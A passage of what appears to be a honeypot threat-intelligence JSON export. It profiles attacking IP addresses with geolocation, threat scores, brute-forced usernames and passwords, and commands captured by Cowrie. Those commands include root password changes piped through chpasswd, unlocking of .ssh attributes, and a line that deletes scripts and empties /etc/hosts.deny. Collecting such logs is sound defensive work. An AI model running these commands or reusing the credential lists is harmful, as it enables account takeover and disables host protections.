        "123123e",
        "1234",
        "12343412",
        "12345@Qwert",
        "1qaz2WSXcde3",
        "Alfredo123!",
        "David2026",
        "Huawei12#$%",
        "Minecraft123!",
        "Password1.",
        "Simon123!",
        "Tl147258",
        "Utente",
        "Win*0",
        "Wr123456.",
        "abc@2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\neI8iHiCzw28N\\neI8iHiCzw28N\\n\"|passwd",
        "echo \"Simon123!\\nr4nrKOfaVpRu\\nr4nrKOfaVpRu\\n\"|passwd",
        "echo \"root:IF3SWuEZf3OL\"|chpasswd|bash",
        "echo \"root:SnqFC0Jsy3jH\"|chpasswd|bash",
        "echo -e \"1234\\neI8iHiCzw28N\\neI8iHiCzw28N\"|passwd|bash",
        "echo -e \"Simon123!\\nr4nrKOfaVpRu\\nr4nrKOfaVpRu\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 40.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.7,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 590,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T07:49:07.613000+00:00",
        "last_seen_30d": "2026-03-28T20:02:54.654000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 474,
        "Suricata": 116
      }
    },
    "153.120.62.68": {
      "attack_count": 444,
      "first_seen": "2026-03-15T13:57:04.790Z",
      "last_seen": "2026-03-16T07:34:43.106Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "adi",
        "atlas",
        "debian",
        "root",
        "user8",
        "abdul",
        "bot",
        "denis",
        "dylan",
        "elizabeth",
        "ems",
        "jane",
        "khalil",
        "leon",
        "peter",
        "srvadmin",
        "tsbot",
        "tst",
        "umar"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "Atlas123",
        "Bot123!",
        "Elizabeth123!",
        "Jane123!",
        "Tsbot123",
        "User8123!",
        "denis123",
        "qwerty123@",
        "srvadmin123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\noGaebvGvfPjI\\noGaebvGvfPjI\\n\"|passwd",
        "echo \"12345\\na1Z7X1jInVQT\\na1Z7X1jInVQT\\n\"|passwd",
        "echo \"Atlas123\\nrVoumbcJ9gG2\\nrVoumbcJ9gG2\\n\"|passwd",
        "echo \"User8123!\\n1Z2o5fdujtMx\\n1Z2o5fdujtMx\\n\"|passwd",
        "echo \"root:ZFId5k7cdmGe\"|chpasswd|bash",
        "echo -e \"12345678\\noGaebvGvfPjI\\noGaebvGvfPjI\"|passwd|bash",
        "echo -e \"12345\\na1Z7X1jInVQT\\na1Z7X1jInVQT\"|passwd|bash",
        "echo -e \"Atlas123\\nrVoumbcJ9gG2\\nrVoumbcJ9gG2\"|passwd|bash",
        "echo -e \"User8123!\\n1Z2o5fdujtMx\\n1Z2o5fdujtMx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 7684,
      "as_org": "SAKURA Internet Inc.",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 512,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T13:57:04.790000+00:00",
        "last_seen_30d": "2026-03-16T07:35:50.267000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 444,
        "Suricata": 68
      }
    },
    "112.78.1.94": {
      "attack_count": 395,
      "first_seen": "2026-03-03T15:44:35.406Z",
      "last_seen": "2026-03-21T02:04:46.552Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "gns3",
        "kodiak",
        "steam",
        "ali",
        "altibase",
        "bbb",
        "clawd",
        "compras",
        "deamon_root",
        "game",
        "hadoop",
        "it",
        "matin",
        "mattermost",
        "mosquitto",
        "noreply",
        "pilot",
        "public"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "Bbb123!",
        "Bingo@1993",
        "Compras123!",
        "Gns3123!",
        "It123!",
        "Kodiak123",
        "Noreply123!",
        "Pablo123",
        "Tech",
        "aliali",
        "game@123456",
        "matin123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Gns3123!\\nrnt3QRCTpRY5\\nrnt3QRCTpRY5\\n\"|passwd",
        "echo \"Kodiak123\\n2XGCHkohqaQ5\\n2XGCHkohqaQ5\\n\"|passwd",
        "echo \"steam123!\\nnAQSDTFIgVng\\nnAQSDTFIgVng\\n\"|passwd",
        "echo -e \"Gns3123!\\nrnt3QRCTpRY5\\nrnt3QRCTpRY5\"|passwd|bash",
        "echo -e \"Kodiak123\\n2XGCHkohqaQ5\\n2XGCHkohqaQ5\"|passwd|bash",
        "echo -e \"steam123!\\nnAQSDTFIgVng\\nnAQSDTFIgVng\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 45538,
      "as_org": "ODS Joint Stock Company",
      "threat_score": 36.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.9,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 493,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T15:44:35.406000+00:00",
        "last_seen_30d": "2026-03-21T02:05:47.258000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 395,
        "Suricata": 98
      }
    },
    "45.137.172.116": {
      "attack_count": 374,
      "first_seen": "2026-03-04T22:52:47.147Z",
      "last_seen": "2026-03-18T14:34:08.077Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "gitlab-runner",
        "thor",
        "applmgr",
        "assistant",
        "bhavesh",
        "business",
        "chenghao",
        "dbadmin",
        "facturacion",
        "george",
        "hafiz",
        "hsadmin",
        "kapsch",
        "kipt",
        "marco",
        "melo",
        "pengbo",
        "test1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "12345678Ab",
        "Abcd@123456",
        "Applmgr123!",
        "Bhavesh123",
        "Bingo@1993",
        "Cisco123",
        "Hafiz123",
        "Hsadmin123!",
        "Melo123",
        "P@SSw0rd",
        "P@ssw0rd!!",
        "P@ssw0rd1234",
        "Xy123456",
        "asd123!!",
        "dbadminpass",
        "enigma"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nCsPvHK6y6XSl\\nCsPvHK6y6XSl\\n\"|passwd",
        "echo \"gitlab-runner\\n68f8CKFy4jUX\\n68f8CKFy4jUX\\n\"|passwd",
        "echo \"root:svj98UBX3wZw\"|chpasswd|bash",
        "echo -e \"1234\\nCsPvHK6y6XSl\\nCsPvHK6y6XSl\"|passwd|bash",
        "echo -e \"gitlab-runner\\n68f8CKFy4jUX\\n68f8CKFy4jUX\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Austria",
      "country_code": "AT",
      "city": "Ostermiething",
      "asn": 44076,
      "as_org": "INTAC Services GmbH",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 462,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:52:47.147000+00:00",
        "last_seen_30d": "2026-03-18T14:35:17.984000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 374,
        "Suricata": 88
      }
    },
    "195.178.191.5": {
      "attack_count": 355,
      "first_seen": "2026-03-08T06:18:25.813Z",
      "last_seen": "2026-03-31T10:02:15.964Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user2",
        "anders",
        "elizabeth",
        "mukesh",
        "nova",
        "sftpuser",
        "tomcat",
        "zhy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1030",
        "12141214",
        "123",
        "12345",
        "1234509876",
        "123456",
        "1234qwer`",
        "Aa159753",
        "Crystal2024",
        "Rs123456.",
        "accessme",
        "admin@123.com",
        "haohaoxuexi",
        "invade",
        "ll@123456",
        "lolita",
        "mash4077"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nt4uIAWe2q9qx\\nt4uIAWe2q9qx\\n\"|passwd",
        "echo \"root:YIRMMw7vx7WM\"|chpasswd|bash",
        "echo \"root:atY0K3i49KHJ\"|chpasswd|bash",
        "echo -e \"123\\nt4uIAWe2q9qx\\nt4uIAWe2q9qx\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 8473,
      "as_org": "Bahnhof AB",
      "threat_score": 58.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 442,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T06:18:25.813000+00:00",
        "last_seen_30d": "2026-03-31T10:03:17.512000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 355,
        "Suricata": 87
      }
    },
    "45.78.198.178": {
      "attack_count": 348,
      "first_seen": "2026-03-14T07:30:23.365Z",
      "last_seen": "2026-03-31T00:27:16.694Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "devuser",
        "rms",
        "amp",
        "ben",
        "eddy",
        "ghost",
        "mukesh",
        "purple",
        "rd",
        "socksuser",
        "ttt",
        "zxy"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "password",
        "12344321q",
        "Amp123!",
        "Az123456@",
        "Devuser123!",
        "Dex2024",
        "Password987",
        "Socksuser123",
        "abcd.1234",
        "admiN123",
        "aqwzsx123",
        "axente",
        "cabbage",
        "celica",
        "erotic",
        "hakunamatata"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "w",
        "which ls",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nowJHFKOrjnw6\\nowJHFKOrjnw6\\n\"|passwd",
        "echo \"root:GGSPLoI4fzM3\"|chpasswd|bash",
        "echo \"root:QKAd7EA7RvPf\"|chpasswd|bash",
        "echo -e \"12345\\nowJHFKOrjnw6\\nowJHFKOrjnw6\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 53.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.6,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 458,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T07:30:23.365000+00:00",
        "last_seen_30d": "2026-03-31T00:29:08.788000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 348,
        "Suricata": 110
      }
    },
    "190.0.63.226": {
      "attack_count": 324,
      "first_seen": "2026-03-14T01:38:46.605Z",
      "last_seen": "2026-03-14T01:59:37.668Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "kocom",
        "netweb",
        "asus",
        "chris",
        "elizabeth",
        "kyle",
        "simone",
        "user2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123123qq",
        "12345",
        "12345678",
        "Abc@123",
        "Kocom123!",
        "chris123!",
        "elizabeth1234",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\n3DAeqrURm5yL\\n3DAeqrURm5yL\\n\"|passwd",
        "echo \"Kocom123!\\nJs7bTv11hxjF\\nJs7bTv11hxjF\\n\"|passwd",
        "echo \"root:HhEdcTAZK6C4\"|chpasswd|bash",
        "echo \"root:yMh5E6cKHdVk\"|chpasswd|bash",
        "echo -e \"123\\n3DAeqrURm5yL\\n3DAeqrURm5yL\"|passwd|bash",
        "echo -e \"Kocom123!\\nJs7bTv11hxjF\\nJs7bTv11hxjF\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 13489,
      "as_org": "UNE EPM TELECOMUNICACIONES S.A.",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 364,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T01:38:46.605000+00:00",
        "last_seen_30d": "2026-03-14T02:00:46.021000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 324,
        "Suricata": 40
      }
    },
    "102.219.126.124": {
      "attack_count": 312,
      "first_seen": "2026-03-17T21:15:34.261Z",
      "last_seen": "2026-03-28T08:53:48.746Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ruby",
        "anthony",
        "drcom",
        "ftp",
        "git",
        "kk",
        "luca",
        "ms",
        "python",
        "sandbox",
        "sentry",
        "share",
        "test2",
        "user8",
        "vagrant"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX#EDC.",
        "123",
        "1234",
        "123456@aa",
        "123456asdfgh",
        "123asd..",
        "123kl;",
        "Felix",
        "Ftp123!",
        "Luca",
        "Outlook2026",
        "P@ssword!@",
        "Ruby123",
        "Sandbox123!",
        "Testtest1",
        "Vagrant123",
        "Xr123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Ruby123\\nxSsC7wrfe9pW\\nxSsC7wrfe9pW\\n\"|passwd",
        "echo \"root:j4zw0vTXc4hV\"|chpasswd|bash",
        "echo -e \"Ruby123\\nxSsC7wrfe9pW\\nxSsC7wrfe9pW\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": null,
      "asn": 37468,
      "as_org": "ANGOLA-CABLES",
      "threat_score": 43.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.2,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 416,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T21:15:34.261000+00:00",
        "last_seen_30d": "2026-03-28T08:54:55.890000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 104
      }
    },
    "103.143.238.207": {
      "attack_count": 312,
      "first_seen": "2026-03-21T14:55:57.622Z",
      "last_seen": "2026-03-28T06:04:55.039Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "applmgr",
        "arm",
        "benson",
        "bot",
        "cris",
        "f",
        "hex",
        "jira",
        "leonard",
        "maarch",
        "pop",
        "sdbadmin",
        "sg",
        "vyos",
        "william"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123456",
        "123456!@#$%^",
        "12345678",
        "123web321",
        "1qaZ2wsX3edC",
        "Aa@147258369",
        "Benson123!",
        "F123!",
        "Jira123",
        "Maarch123",
        "Mapmis01",
        "Microsoft1",
        "Mm12345",
        "Passw0rd@01",
        "Pop123!",
        "Sg"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nKixN4XMFkaKK\\nKixN4XMFkaKK\\n\"|passwd",
        "echo \"root:ffW6J42jBqnE\"|chpasswd|bash",
        "echo -e \"123456\\nKixN4XMFkaKK\\nKixN4XMFkaKK\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 40.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 407,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T14:55:57.622000+00:00",
        "last_seen_30d": "2026-03-28T06:06:03.448000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 95
      }
    },
    "89.218.69.66": {
      "attack_count": 310,
      "first_seen": "2026-03-02T16:53:23.956Z",
      "last_seen": "2026-03-13T04:53:01.043Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mailcow",
        "David",
        "claude",
        "cockpit",
        "db2inst1",
        "dev",
        "ec2-user",
        "ftpuser",
        "hsadmin",
        "satisfactory",
        "wm"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "password",
        "!QAZ@WSX3edc4rfv",
        "12345",
        "123456Ko",
        "203040",
        "Admin123+",
        "Admin2024!@#",
        "Mailcow123!",
        "Pass@321",
        "Qwe112233",
        "Root1",
        "Xj123456",
        "dev123!",
        "ftpuser123",
        "root1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Mailcow123!\\nycPEGUoCyqCN\\nycPEGUoCyqCN\\n\"|passwd",
        "echo \"root:c0zKJCKou4TO\"|chpasswd|bash",
        "echo \"root:zwQtXP6nzlJQ\"|chpasswd|bash",
        "echo -e \"Mailcow123!\\nycPEGUoCyqCN\\nycPEGUoCyqCN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Astana",
      "asn": 9198,
      "as_org": "JSC Kazakhtelecom",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
